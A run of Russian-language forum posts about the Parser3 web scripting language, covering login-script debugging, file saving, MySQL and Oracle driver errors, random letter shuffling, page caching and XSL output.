"21132","HTTP_REFERER - это заголовок, имея возможность сформировать нужный HTTP-заголовок подделать реферер не сложно.\
\
с REMOTE_ADDR сложнее, но в локалке обычно достаточно форсировано указать в настройках TCP/IP нужный IP, это под Win исполняется элементарно.\
\
Как избежать? Ну тут пусть более продвинутые люди советуют...  :)"
"21133","Но, вот, с ремоут адресом - не совсем. Делается это в скриптом. Под виндой поменять адрес 600-650 раз за минуту - это нереально.\
С реферером - это просто из скрипта только что сам попробовал - работает. \
А вот как они подделывают адрес. По идее это все лежит в http-заголовке Host. Но я пробовал - почему-то не пашет.\
Защита,которая мне пришла на ум - это только ограничение по кукам. Есть кука - велкам, нету - или включайте или вы не броузер, а шпиЁнский скрипт."
"21136","Александр, коль к слову пришлось...\
\
Ставил парсер на зеноновский хостинг - так там MySQL собран так, что subj'а нет. FreeBSD нужной версии, чтобы собрать mysql у себя и закинуть библиотеку на зенон не было - слава богу, нужный файлик нашёлся на сервере у hosting.rbc.ru, где у меня другой сайт - чисто случайно он подошёл. Это к тому, что subj. надо класть в дистрибутив для верности в обязательном порядке - не так много он весит.."
"21137","если всё будет нормально, следующим летом в Парсере появится поддержка PNG и, возможно, новые функции работы с изображениями (класс image). \
\
"
"21138","/**\
	@todo parser4: \
	- cache compiled code from request to request. to do that...\
		-#:	make method definitions, @CLASS, @BASE, @USE instructions,\
			which would be executed afterwards, and actions\
			now performed at compile time would be delayed to run time.\
		-#:	make cache expiration on time and on disk-change of class source\
		-#:	in apache use subpools for compiled class storage\
		-#:	in iis make up specialized Pool object for that\
*/"
"21140","Если делают. \
Порыскав - почитав я согласился с тем, что доверять хедерам нельзя. Только вот нигде ничего о том, как это обойти..."
"21141","Это просто класс, наполненный переменными, содержащими регулярные выражения на русском языке. Находятся в папке /lang/ru/. Так, я думаю, проще всего перевод сделать, например скопировав и отредактаровав в /lang/en/. А вы как думаете, господа профессионалы?"
"21142","Может глупый вопрос, но у меня не получается...\
\
Хочу создать текстовый файл средствами парсер и сохранить его на сервере.\
\
Возможно ли это, и если возможно - то как?\
\
Заранее благодарен."
"21144","Я писал тут про ошибку \"/public_html/auto.p(194:2): 'table' table may not be overwritten with table table, use constructor [parser.runtime]\"\
Мне тукнули в ФАК. Почитал, пересмотрел код. Блин. Судя по всему за деревьями леса не вижу. С трофейнным бубном плясал, релаксировал - не помогает :)\
[code]\
^spec_block[   # [color=\"red\"]Это строка  номер 194!!![/color]\
<div class=\"ver\">\
<span class=\"ver12\">&#194;&#238;&#233;&#242;&#232;</span>;\
\
\
^user[<div class=\"ver\">&#199;&#228;&#240;&#224;&#226;&#241;&#242;&#226;&#243;&#233;&#242;&#229;,\
<strong>$cookie:login</strong> <br></div><br>\
\
\
<div class=\"ver\" align=\"left\"><strong><a href=\"add_article.html\">&#196;&#238;&#225;&#224;&#226;&#232;&#242;&#252; &#231;&#224;&#236;&#229;&#242;&#234;&#243;</a></strong></div>\
^perms[;;<div class=\"ver\" align=\"left\"><strong>&#196;&#238;&#225;&#224;&#226;&#232;&#242;&#252; &#238;&#225;&#238;&#232;</strong></div>]\
<div class=\"ver\" align=\"left\"><strong><a href=\"add_song.html\">&#196;&#238;&#225;&#224;&#226;&#232;&#242;&#252; &#239;&#229;&#241;&#237;&#254;</a></strong></div>\
<br><br>\
<div class=\"ver\" align=\"center\"><a href=\"index.html?logout=yes\"><strong>[&#194;&#251;&#233;&#242;&#232;]</strong></a></div>\
]\
]\
\
#[color=\"red\"]Это и есть спецблок[/color]\
\
@spec_block[spec_name;spec_content]\
<!--  -->\
#<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" ^if(def $block_width){width=\"$block_width\"}>\
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" >\
<tr>\
	<td align=\"right\"><img src=\"${root}pics/block/block_head_left.jpg\" width=\"18\" height=\"20\" alt=\"\" border=\"0\"></td>\
	<td bgcolor=\"#ececec\" align=\"center\" ><strong>$spec_name</strong></td>\
	<td><img src=\"${root}pics/block/block_head_right.jpg\" width=\"18\" height=\"20\" alt=\"\" border=\"0\"></td>\
</tr>\
<tr>\
	<td width=\"45\" align=\"right\" valign=\"top\"><img src=\"${root}pics/block/block_left.jpg\" width=\"18\" height=\"77\" alt=\"\" border=\"0\"></td>\
	<td >$spec_content</td>\
	<td width=\"45\" align=\"left\" valign=\"top\"><img src=\"${root}pics/block/block_right.jpg\" width=\"18\" height=\"77\" alt=\"\" border=\"0\"></td>\
</tr>\
<tr>\
	<td bgcolor=\"#ffffff\">&nbsp</td>\
	<td bgcolor=\"#ffffff\">&nbsp</td>\
	<td bgcolor=\"#ffffff\">&nbsp</td>\
</tr>\
</table>\
<!--  -->\
\
[/code]\
Ну подскажите, где я лажаюсь?"
"21145","пишу вроде, т.к. разбираться в &#sdf; тяжело.\
\
где код методов @user и @perms? попробуй закомментировать их вызовы... возможно они возвращают не текст, а непечатаемый объект...\
\
и еще... не закрыт (вроде) первый <div class=\"ver\"> который передается в spec_name"
"21146","<DIV> уже закрыл. \
\
@user[]\
[code]\
@user[content]\
^if(!def $form:login && !def $form:password){\
^if(!def $cookie:login && !def $cookie:session){\
#если не логинится и нет куков с логином и сессией, то показать форму входа\
 ^login_form[]\
\
}{\
#иначе лезем в базу, где выбираем пользователя по логину и его состоянию(1-вкл, 0 - выкл.)\
	^connect[$connect_string]{\
	$user_user[^table::sql{select id, name, password, last_time, now, perms, sess from users where login='$cookie:login' and stat=\"1\" }]\
\
#Если  кука с сессией нашлась, но не равна сессии в базе, то\
\
^if(\"$cookie:session\" ne \"$user_user.sess\"){\
#Показываем форму\
^login_form[]\
}{\
\
#Иначе показываем то, что скрыто под авторизацией\
$content\
\
}\
}\
}\
}{\
\
\
\
#Лезем в базу и ищем пароль, соответствующий логину (смотрим только среди включенных юзеров)\
	^connect[$connect_string]{\
\
	$user_auth[^table::sql{select id, name, password, login, last_time, now, perms, sess from users where login='$form:login' and stat='1' }]\
#Если запрос чего-то вернул - смотрим чего он там нам принес\
	^if(def $user_auth){\
#Проверяем соответствует ли пароль из базы паролю, введенному в поле\
\
#Нижеследующее после отладки стоит проверять ч\\з ^math:md5[строка]\
   ^if($form:password eq $user_auth.password){\
#Записываем идентификатор и дату в таблицу к юзеру и записываем дату из нау меняем в ласт\
$now[^date::now[]]\
#создаем уникальный айди для сессии\
	$session[^math:uuid[]]\
 ^void:sql{UPDATE users SET sess= '$session', last_time='$user_auth.now', now='^now.sql-string[]' WHERE login='$user_auth.login'}\
\
\
# Пишем айди в куку\
$cookie:session[\
   $.value[$session]\
   $.expires[session]\
]\
#Кладем куки с логином юзера\
\
$cookie:login[\
   $.value[$user_auth.login]\
\
]\
\
\
\
\
\
$content\
\
}{\
^login_form[<font color=\"#FF0000\">Ошибка! Пробуйте еще раз.</font>]\
\
}\
\
}{\
^login_form[<font color=\"#FF0000\">Ошибка! Пробуйте еще раз.</font>]\
\
}\
\
}\
}\
\
\
[/code]\
\
\
Это - @perms[]\
[code]\
\
@perms[user;operator;administrator]\
\
^if(def $cookie:login && def $cookie:session){\
\
# лезем в базу, где выбираем пользователя по логину и его состоянию(1-вкл, 0 - выкл.)\
	^connect[$connect_string]{\
	$user[^table::sql{select id, name, password, last_time, now, perms, sess from users where login='$cookie:login' and stat=\"1\" }]\
\
#Если  кука с сессией нашлась, но не равна сессии в базе, то\
\
^if(\"$cookie:session\" ne \"$user.sess\"){\
#Тишина\
\
}{\
\
#Иначе показываем то, что скрыто под авторизацией\
$reg_switch[^switch[$user.perms]{\
#Читаем права пользователя их всего 3 - пользователь(минимум), оператор(немного больше), администратор(полный контроль)\
   ^case[1]{$administrator}\
#Права админа\
   ^case[2]{$operator}\
#Права оператора\
   ^case[DEFAULT]{$user}\
#Ну и, наконец, права простого пользователя\
}]\
$reg_switch\
}\
}\
}\
\
[/code]"
"21147","Но нагрузки они никакой не несут - это просто че-то русский язык раскорячило при копи - пэйсте. Там просто тексты ссылок."
"21148","Можно немного о том, как для такой задачи применять ^string.match?"
"21149","приводить надо ВСЕ, ЧТО УЧАСТВУЕТ в процессе формирования страницы... может внутри @login_form какая фигня... в общем если мои следующие рекомендации не помогут, то еще раз читать куски кода, с непонятной кодировкой разбросаные по разным файлам я не буду, извините...\
\
смотрим код:\
[code]\
@perms[user;operator;administrator]\
...\
$user[^table::sql{...}]\
...\
$reg_switch[^switch[$user.perms]{\
   ^case[1]{$administrator}\
   ^case[2]{$operator}\
   ^case[DEFAULT]{$user}\
}]\
$reg_switch\
...\
[/code]\
\
теперь внимание вопрос на засыпку:\
что находится в переменной $user в строке: ^case[DEFAULT]{$user}\
\
P.S. я просил попробовать закомментировать методы. если бы вы это сделали то сами увидели, в каком методе у вас ошибка..."
"21150","Только почему Вы на мою реплику ответили, надо было на [url=\"http://www.parser.ru/forum/?id=21082\"]эту[/url]."
"21151","[code]\
$string[[b]Содержание\
текстового\
файла[/b]]\
\
^string.save[[b]/file.txt[/b]]\
[/code]\
\
Создает текстовый файл с именем [b]file.txt[/b] и с содержанием:\
-----------\
Содержание\
текстового\
файла\
-----------\
в корне web-сервера"
"21152","Кто хоститься на peterhost?\
\
1. Насколько я понял из их форума, они собирались ставить модуль к Apache. Поставили/нет?\
\
2. Какая все-таки система у них стоит?\
FreeBSD или Redhat?\
Тут писали, что redhat, у них на форуме, что FreeBSD...\
В принципе я и тот и тот пробывал - нифига...\
\
\
P.S.: имею только subFTP, так что логи не вижу :(\
\
\
кто ставил - расскажите как"
"21153","Я так понимаю, что $string - переменная может носить любое имя?\
А можно ли в качестве значения переменной использовать метод?\
\
Я делал так - ^string.save[text;/file.txt] - парсер ругался на 'text'."
"21156","Понятное дело - имя любое...\
\
чтобы сохранить как ^string.save[text;/file.txt]\
Нужно вначале загрузить этот файл ($string[^file::load[text;/file.txt])\
Поэтому он и ругался"
"21157","в CVS|HEAD уже поправлено. кому срочно, может собрать оттуда."
"21158","В парсере чайник, перехожу с Perl, так что прошу простить за дурацкие воспросы.\
Подскажите, можно ли из XSL вызывать код на Parser. Что то вроде  <xsl:value-of select=\"foo:sendmail($name, $text)\"/>.\
\
В перле можно было: $xslt->register_function('urn:foo' => 'sendmail', sub { Blah-Blah; });\
Если возможно, приведите пример.\
\
Спасибо."
"21159","[code]\
INSERT INTO zlathost_vote( 'title', '1', '2', '3', '4', '5', '6', '7', '8', '9', '10' ) \
values (\
\
'Сколько Вам лет?',\
'много--0 ',\
'мало--0 ',\
'не знаю--0 ',\
'а что это?--0 ',\
'совсем старый--0 ',\
'я Дункан Маклауд--0 ',\
' ',\
' ',\
' ',\
' ',\
\
) \
[/code]\
Ответ MySQL: \
\
You have an error in your SQL syntax near ''title','1','2','3','4','5','6','7','8','9','10') values ('Сколько Вам лет?', 'м' at line 1"
"21161","[code]\
You have an error in your SQL syntax near '1,2,3,4,5,6,7,8,9,10) VALUES ('Сколько Вам лет?', 'много--0\
','мало--0\
','не зна' at line 1\
INSERT INTO zlathost_vote (title,1,2,3,4,5,6,7,8,9,10) VALUES ('Сколько Вам лет?', 'много--0 ','мало--0 ','не знаю--0 ','а что это?--0 ','совсем старый--0 ','я Дункан Маклауд--0 ',' ',' ',' ',' ',)[/code]"
"21166","Так чтоб пустые поля вообще не присутствовали...\
[code]\
INSERT INTO zlathost_vote (title,1,2,3,4,5,6,7,8,9,10) VALUES ('Сколько Вам лет?','много--0' ,'мало--0' ,'не знаю--0' ,'а что это?--0' ,'совсем старый--0' ,'я Дункан Маклауд--0' )\
[/code]\
\
И... то же самое :-(\
\
Может Вам полностью выкинуть кусок?"
"21167","http://www.mysql.com/doc/ru/Legal_names.html\
\
[quot]\
Имя может начинаться с любого допустимого символа, в частности, с цифры (в этом состоит отличие от правил, принятых во многих других базах данных). Однако имя не может состоять только из цифр.\
[/quot]"
"21169","Да.\
Реально.\
Балбес.\
Вот это да.\
Как я это мог пропустить.\
СПАСИБО!\
Я думаю, что этого достаточно. Но все-таки  приведу\
[code]\
@login_form[optional]\
<form method=\"post\" action=\"$request:uri\">\
<table cellSpacing=0 cellPadding=0 border=0 width=\"150\" class=\"ver\" >\
<tr>\
	<td align=\"left\" >Логин:</td>\
	<td align=\"right\"><input type=\"text\" name=\"login\" size=\"12\"></td>\
</tr><tr>\
	<td align=\"left\">Пароль:</td>\
	<td align=\"right\"><input type=\"password\" name=\"password\" size=\"12\"></td>\
</tr><tr>\
	<td colspan=\"2\"  align=\"center\"><input type=\"submit\" value=\"Вход\"></td>\
</tr><tr>\
	<td   colspan=\"2\" align=\"center\"><a href=\"register.html\" class=\"green\">[ регистрация ]</a></td>\
</tr><tr>\
\
	<td colspan=\"2\"  align=\"center\">$optional</td>\
</tr>\
</table>\
\
</form>\
\
[/code]"
"21170","и начало попускать. \
все теперь комментирую все. И ввожу в каждый проект справочник переменных."
"21171","сделать такой механизм несложно.\
только вот мне кажется он в parser: идеологически неправильным.\
не место логике работы в XSL. она должна быть или до или после transform."
"21173","Если я подключаю все существующие классы, но использую не все, то отразится ли это на быстродействии? Или лучше при необходимости внутри метода подключать (что слишком заморочно)?\
Вообще от чего зависит быстродействие скрипта?"
"21174","В пятницу было поправлено?"
"21175","Я пробовал в классе lang подсоединить нужные файлы, в которых написал:\
[code]\
@BASE\
lang\
[/code]\
Потом вызывал $lang:переменная одного из файлов из метода @auto[].\
Не работает.\
Можно конечно загружать в lang все содержимое файлов, а потом из него дергать. Это очень нужно, чтобы вызывать содержимое файлов как $lang:переменная. Методов я там хранить не собираюсь. Подскажите, как универсальнее поступить."
"21176","... хочется видеть в вебе на отдельной страничке на parser.ru + желательно в rss - а то в cvs с работы не залезешь((("
"21177","Добрый день!\
\
Постараюсь объяснить суть ошибки на примере. Пишу\
[code]\
<html><body>\
  abc\
  ^connect[oracle://uwc:<пароль>@cboss?NLS_LANG=RUSSIAN_AMERICA.CL8MSWIN1251]{\
    ^string:sql{select '1' from dual}\
  }\
</body></html>\
[/code]\
\
Получаю ошибку \
[code]\
[Tue Sep 23 15:45:57 2003] /: C:/Program Files/Apache Group/Apache2/htdocs/index.html(4:4): 'C:\\Program Files\\Apache Group\\Apache2\\cgi-bin/lib/parser3oracle.dll' driver failed to initialize client library 'C:\\oracle\\ora816\\bin\\oci.dll', unknown option (option must start with ORACLE_, ORA_ or NLS_) [<no type>]\
[/code]\
\
Я постарался максимально упростить пример, чтобы проще было\
найти, в чем ошибка.\
\
В основном auto.p написано буквально:\
\
[code]\
$SQL[\
	$.drivers[^table::create{protocol	driver	client\
oracle	$sqldriversdir/parser3oracle.dll	C:\\oracle\\ora816\\bin\\oci.dll?PATH=^;C:\\oracle\\ora816\\bin\
}]\
]\
[/code]\
\
поиск по форуму (как и в Яндексе) успехом не увенчался.\
\
Что я могу делать неправильно?\
И что еще можно проверить?\
\
Спасибо за помощь!"
"21178","По крайней мере слеши должны быть в одном наклоне\
C:\\Program Files\\Apache Group\\Apache2\\cgi-bin/lib/parser3oracle.dll"
"21180","мне это представилось неправильным.\
если не секрет, зачем вам такой большой класс, что в один файл не влезает?"
"21181","я мог там неидеально разобрать.\
\
cboss: вах :)"
"21182","Евгений, спасибо за ответ!\
\
В оригинальном файле auto.p из parser3conf_1_0_20030724_win32.zip\
написано\
[code]\
oracle	$sqldriversdir/parser3oracle.dll	c:\\Oracle\\Ora81\\BIN\\oci.dll?PATH+=^;C:\\Oracle\\Ora81\\bin\
[/code]\
Я делаю все один в один, разве что у меня путь\
самую малость отличается. И я пишу = вместо +=.\
Потому как в последнием случае у меня другая ошибка:\
[code]\
exception in request exception handler: Exception 0xC0000005 at 0x0099255D\
[/code]\
\
Эиа же ошибка возникает, если убрать ?PATH=^;C:\\oracle\\ora816\\bin."
"21183","И вам спасибо за ответ :)\
\
Пароль латинскими буквами.\
Маленькими.\
Проверил. По свякому проверил."
"21184","В нем явная ошибка, на что и указывает \"exception in request exception handler: Exception 0xC0000005 at 0x0099255D\"..."
"21185","Я использую Oracle 9 под *nix, настройки у меня другие.\
Похоже не нравятся Oracle переменные окружения типа PATH :) С некоторой версии ему хочется ORACLE_HOME \
Попробуйте может полегчаетю\
Ниже привожу кусочек своего конфига:\
$SQL[\
	$.drivers[^table::create{protocol	driver	client\
oracle	/home/website/xsite/cgi-bin/p3/lib/libparser3oracle.so	/opt/oracle/app/product/9.0.1/lib/libclntsh.so?ORACLE_HOME=/opt/oracle/app/product/9.0.1&ORA_NLS33=/opt/oracle/app/product/9.0.1/ocommon/nls/admin/data\
}]\
\
$oracle_string[oracle://username:password@servername?NLS_LANG=RUSSIAN_AMERICA.CL8MSWIN1251&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS&NLS_TIME_FORMAT=HH24:MI:SS&NLS_TIMESTAMP_FORMAT=YYYY-MM-DD HH24:MI:SS&ORA_ENCRYPT_LOGIN=TRUE\
]"
"21186","То есть, я его не трогал. \
Я взял auto.p из parser3conf_1_0_20030724_win32.zip,\
закоментировал строки про драйверы баз данных,\
которых у меня нет. Изменил путь в строке про Оракл.\
И больше ничего не менял.\
Прямо сейчас все это проделал. Ошибки те же самые.\
\
Спасибо!\
\
(Формально, для педантов.\
Если \
oracle	$sqldriversdir/parser3oracle.dll	c:\\oracle\\ora816\\bin\\oci.dll?PATH+=^;C:\\oracle\\ora816\\bin\
то exception in request exception handler,\
если ...PATH=C:\\oracle..., то \
[Tue Sep 23 17:10:52 2003] /: C:/Program Files/Apache Group/Apache2/htdocs/index.html(4:4): 'C:\\Program Files\\Apache Group\\Apache2\\cgi-bin/lib/parser3oracle.dll' driver failed to initialize client library 'c:\\oracle\\ora816\\bin\\oci.dll', unknown option (option must start with ORACLE_, ORA_ or NLS_) [<no type>]\
)"
"21187","[code]unknown option (option must start with ORACLE_[/code]Может быть, arto прав насчёт переменной - ораклу хочется, чтобы путь указывался от содержащегося в env. variable ORACLE_HOME,  а не от с: ?"
"21188","у меня локально всё работает.\
пробую на Win32 с oracle 9.0.x\
\
PATH можно и =.\
попробуйте убрать параметры(?...) вообще.\
\
"
"21189","нет, PATH нельзя =. этот тот самый invalid option и есть, который не подпадает под приведённые в ошибке условия.\
\
в PATH можно только +=.\
\
что до того, что развалилось: в одном из вариантов сборки(нашем) не написана проверка на непустоту PATH.\
\
если нужно срочно: обеспечьте непустоту переменной окружения PATH на момент запуска parser'а."
"21190","можно неуказывать параметров соединения(?...), но чтобы этот каталог обязательно был в переменной окружения PATH.\
\
[примерно то же самое :)]"
"21191","Александр!\
\
У меня Oracle 8.1.6, и winXP.\
\
Если убрать PATH и оставить\
oracle	$sqldriversdir/parser3oracle.dll	c:\\oracle\\ora816\\bin\\oci.dll\
, то выдается ошибка\
exception in request exception handler: Exception 0xC0000005 at 0x0099255D\
.\
Если добавить PATH, выдается ошибка\
[Tue Sep 23 17:28:48 2003] /: C:/Program Files/Apache Group/Apache2/htdocs/index.html(4:4): 'C:\\Program Files\\Apache Group\\Apache2\\cgi-bin/lib/parser3oracle.dll' driver failed to initialize client library 'c:\\oracle\\ora816\\bin\\oci.dll', unknown option (option must start with ORACLE_, ORA_ or NLS_) [<no type>]\
Независимо от того, что я туда в этот PATH пишу.\
\
Вариант\
oracle	$sqldriversdir/parser3oracle.dll	c:\\oracle\\ora816\\bin\\oci.dll?ORACLE_HOME=C:\\oracle\\ora816&ORA_NLS33=C:\\oracle\\ora816\\ocommon\\nls\\ADMIN\\DATA&PATH=bin\
к сожалению то же не проходит. С PATH и без него,\
независимо от того, что я туда пишу (полный путь, или\
только относительно oracle_home).\
\
Нужно ставить 9 клиент или должно и с восьмым работать?\
\
Спасибо всем за помощь!"
"21192","можно было бы покопаться по этому числу из ошибки, но сейчас немного не досуг.\
\
что-ж, всегда можно воспользоваться odbc драйвером.\
\
это же я со временем починю."
"21193","не удивлюсь, если из-за его отсутствия падает какой-то кусок в самом oracle client, а уже не я.\
\
попробуйте понять, как так вышло, что до parser эта переменная окружения не добралась?"
"21194","Спасибо всем за советы!\
\
Я добился того, что бы в PATH был только каталог\
C:\\oracle\\ora816\\bin \
Страничка, содержащая строку <p>$env:PATH\
его и выводит. (Почему добился :) - для этого\
пришлось перезагружаться )\
\
Если при этом убрать все параметры, появляется ошибка \
exception in request exception handler: Exception 0xC0000005 at 0x0099255D\
И дальше мало что меняется.\
Пока буду использовать ODBC.\
Разработка не коммерческая, сроки не поджимают :)\
\
Еще раз всем спасибо!"
"21195","Я пытаюсь написать простую, но довольно универсальную системку. Мне нужно, чтоб при установке нового модуля в папку с языком копировался файл, содержащий выражения на этом языке, которые непосредственно используются с модулем. Вот думаю, как сделать проще и красивее."
"21196","Александр вам говорит что, если класс большой, это плохо и стоит подумать о проектных решениях.\
\
Это дело (языковые решения) элементарно реализуется в виде иерархии классов в которых перегружается всё что нужно.\
\
Короче вы не с того конца подходите и пытаетесь применить неестественную технику програмиирования к парадигме ООП - это всё равно что забивать молотком вилку от шнура питания европейского (вроде) стандарта, в наши старые розетки."
"21197","Пожалуйста покажите в каком месте это происходит\
\
[code]\
...\
$table_1[^table::load[/price/ajigardak/allocation.cfg]]\
...\
\
...\
<table width=\"100%\" height=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\
$zero[0]\
$table_1.menu{\
^if($zero == 0){$b[<b>] $b2[</b>]}{$b[] $b2[]}\
<tr>\
<td align=\"center\" valign=\"middle\">$b $table_1.type $b2</td>\
<td align=\"center\" valign=\"middle\">$b $table_1.week_end $b2</td>\
<td align=\"center\" valign=\"middle\">$b $table_1.week $b2</td>\
</tr>\
$zero[1]\
}\
</table>\
...\
[/code]\
\
\
Ошибок не выводит, но и непоказывает значений из файла.\
\
Заранее благодарю за любую помощь"
"21198","....\
[code]\
$zero[0]\
$table_1.menu{  \
^if($zero == 0){$b[<b>] $b2[</b>]}{$b[] $b2[]}\
[/code]\
....\
Внимательней надо быть ...\
Наверное все таки ^table_1.menu ???"
"21200","Есть слово, ну там, например АНТАНАНАРИВУ. Мне нужно поменять все буквы в нём местами случайным образом. Пытался и так, и эдак, ничего не получается.\
Подскажите, в каком направлении хотя бы думать\
Мне пока что видится очень  громоздкий способ:\
1. разбиваем по буквам (split;v) и каждую букву пихаем в ячейку таблицы (piece)\
2. дальше как-то перебираем случайным образом ячейки, отмечая те, в которых уже были - совершенного убого\
Спасибо..."
"21201","Считаешь количество символов (я незнаю как это делать, т.к. неделал)\
Составляешь хешь где сопоставляешь\
1 - 1 символ слова\
2 - 2 символ слова\
\
Копируешь из первого хеша во второй символы в случайном порядке, проверяя на повторяемость (точнее совпадение количества символов в хешах)\
\
Выводишь все значения второго хеша (знаю как, но тоже не делал)"
"21202","[code]\
$str[ИНДУСТРИАЛИЗАЦИЯ]\
\
$length(^str.length[])\
$use[^hash::create[]]\
^while(^use._count[] != $length){$n(^math:random($length))^if(!$use.[$n]){^str.mid($n;1)^use.add[$.[$n](1)]}}\
[/code]"
"21203","я понимаю, как скопировать хэш, но как перепутать в нём буквы (значения)?"
"21204","в смысле большое спасибо"
"21205","2 месяца не заглядывал сюда, в надежде что за это время появится хороший и подробный rtfm о том как установить парсер на valuehost. не нашел... ну ё!!!!!!!!!!1\
Всякая шняга в разделе \"хостинги\" есть, а валюе нету...\
непорядок."
"21207","Я ставил, даже работал."
"21208","[code]\
$str[abcdefghijklmnopqrstuvwxyz]\
$str[^str.match[(.)][g]{$match.1 }]\
$lett[^str.split[ ]]\
^lett.sort{^math:random(^lett.count[])}\
^lett.menu{$lett.piece}\
[/code]\
Не знаю, быстрее/медленне, чем то, что предложил Миша, но тоже работает ;-)"
"21209","Если кто-то знает путь к parser3.cgi на [url=\"http://fatal.ru\"]fatal.ru[/url], просьба подсказать.\
Случайно убил .htaccess с нужным Action'ом [color=\"red\"]:(\
[/color]"
"21210","Пытаюсь сотворить такую весчь:\
[code]\
@Water[]\
$file[^file::load[text;http://forecast.meteocenter.net/city/zlatoust.htm]]\
$text[^file.text.match[<PRE>.*</PRE>][']]\
$txt[^text.match.match[<.*?>][g]{}]\
<table>\
   <tr>\
      <td colspan=3 class=t><b>Прогноз погоды:\
   <tr>^txt.match[\\n\\n][g]{<td class=news>}\
</table>\
[/code]\
\
Ругается:\
[code]\
read failed: No such file or directory (2), actual filename '/home/dom.com/dom.com/www/http_3A//forecast.meteocenter.net/city/zlatoust.htm'\
/home/dom.com/dom.com/www/http://forecast.meteocenter.net/city/zlatoust.htm\
\
/home/dom.com/dom.com/www/auto.p(289)\
exception.type=file.missing\
[/code]\
\
Особенность:\
Из под Win Сервера на локали - все работает, а вот\
из под FreeBSD нет."
"21211","судя по ошибке (\"http_3A\") в file::load попадают \"грязные\" данные, чего в вашем случае быть не должно."
"21214","Попробовал сделать примеры из руководства все нормально. Начал делать сам - не получается. Получается белая страница.\
Структура такая, в корне:\
- auto.p:\
\
@main[]\
^h1[]\
^h2[]\
^h3[]\
\
@h1[]\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\
<HTML><HEAD>\
<META http-equiv=Content-Type content=\"text/html; charset=windows-1251\">\
</HEAD>\
<BODY>\
<table width=\"100%\" height=\"30%\" border=\"1\">\
  <tr>\
    <td>&nbsp;Проверка</td>\
  </tr>\
</table>\
<br>\
\
\
@h2[]\
<table width=\"100%\" height=\"30%\" border=\"1\">\
  <tr>\
    <td>&nbsp;работы</td>\
  </tr>\
</table>\
<br>\
\
\
@h3[]\
<table width=\"100%\" height=\"30%\" border=\"1\">\
  <tr>\
    <td>&nbsp;parser</td>\
  </tr>\
</table>\
</BODY>\
</HTML>\
\
и index.html  - пустой файл.\
\
При вызове index.html получаем чистую страницу.\
Пробовал вызвать main в index.html:  ^main[] - то же самое(хотя по логике это не надо т.е. лишнее).\
В чем ошибаюсь?\
\
Заранее благодарен.\
Евгений"
"21215","Вставь\
\
@main[]\
^h1[]\
^h2[]\
^h3[]\
\
в index.html"
"21216","Работает, но сразу возникло много вопросов.\
Получается что мы просто вызываем функции h1 h2 h3\
но в примерах ведь  этого не делается, мы описали структуру в начале файла auto.p : \
@main[]\
^header[]\
^body[]\
^footer[]\
\
и потом на всех страницах это работает.\
По логике если мы определим все(структуру страницы) в @main[] то  при загрузке пустой index.html должна (если я не ошибаюсь) загрузиться нормальная страница(с кодом @header[], @body[], @footer[])\
\
Заранее благодарен.\
Евгений."
"21217","считается телом функции main."
"21218","Большое спасибо! Начал понимать!"
"21219","Господа, вопрос следующий. Допустим у меня в одном месте страницы надо вывести значение одного поля из одной таблицы, двух из другой и еще одного из третьей, при этом мне надо те же самые данные вывести совсем в другом месте страницы (разброс в HTML-коде - очень сильный), что мне лучше сделать:\
\
1. два раза обратиться к БД и закэшировать два куска кода,\
2. один раз обратиться к БД вне кэша и закэшировать два куска кода,\
3. один раз обратиться к БД и закэшировать всю страницу?\
\
Ответ желательно аргументировать."
"21220","то только медленные операции. Коннект к базе - операция медленная. Следовательно, кэшировать надо \"вокруг\" коннекта.\
С другой стороны, надо помнить, что кэшируется только результат вывода \"на экран\", т.е. кэшировать ^table::sql нельзя.\
Опять же, подключение через ^use[] и другие файловые операции тоже медленны.\
В результате приходим к тому, что в большинстве случаев кэшируется вся страница целиком."
"21221","такой код?\
[code]\
$table.field\
…\
$table.field\
[/code]"
"21222","Если внутри ^cache используются данные из коннекта"
"21223","вот к примеру два разных участка кода, где используются данные из одной и той же таблицы\
\
1. <title>$table.field</title> (самое начало HTML)\
\
2. <a href=/$table.field2>$table.field</a> (в конце HTML)\
\
\
\
Чтобы получить данные $table.field нужно сделать запрос к БД.\
Если оба участка кэшируются, то при выводе страницы из кэша мне не нужно коннектится к БД.\
\
Вопрос в том что мне делать несколько коннектов к БД к одной и тойже таблице?"
"21224","То этим ничего \"не ускорится\". Отдельно вывод значения переменной кэшировать просто бессмысленно - больше затрат на кэширование."
"21225","Код xml-документа:\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<!DOCTYPE doc PUBLIC \"-//TEST/DTD site/RU\" \"http://localhost/xsl/index.dtd\">\
<doc>\
     <title head=\"no\">Начало</title>\
     <body>\
           <news>\
		<item id=\"1\" date=\"24.09.2003\">...</item>\
		<item id=\"2\" date=\"24.09.2003\">...</item>\
	   </news>\
     </body>\
</doc>\
[/code]\
\
\
Код xsl:\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
\
<xsl:template match=\"doc\">\
    <xsl:apply-templates select=\"body\" />\
</xsl:template>\
\
<xsl:template match=\"body\">\
    <html><head><title>Home Page</title><link rel=\"stylesheet\" type=\"text/css\" href=\"/style.css\" />\
    <xsl:comment>Rollover изображений меню</xsl:comment>\
    <script language=\"JavaScript\" type=\"text/javascript\"><![CDATA[<!--\
		----дальше идет javascript----\
    // -->]]></script>\
    </head>\
\
    <body topmargin=\"0\" rightmargin=\"0\" bottommargin=\"0\" leftmargin=\"0\" marginheight=\"0\" marginwidth=\"0\">\
		----здесь тело страницы (таблица из 3 колонок)----\
    </body>\
</xsl:template>\
\
</xsl:stylesheet>\
[/code]\
\
Код Parser'a (из примера в документации):\
[code]\
$sourceDoc[^xdoc::load[/xml/index.xml]]\
$transformedDoc[^sourceDoc.transform[/xsl/index.xsl]]\
^transformedDoc.string[$.method[html]]\
[/code]\
\
Если в браузере посмотреть обычную html-страницу (без XML, XSL и Parser'a), всё в порядке, вверху страницы отступов нет. Когда же работает вышеописанная конструкция - появляется этот злосчастный отступ."
"21226","делаете один конект с 1 запросом:\
[code]\
^connect[строка соединения]{\
$table[^table::sql{SELECT field, field2 FROM table WHERE ...}]\
}\
[/code]\
\
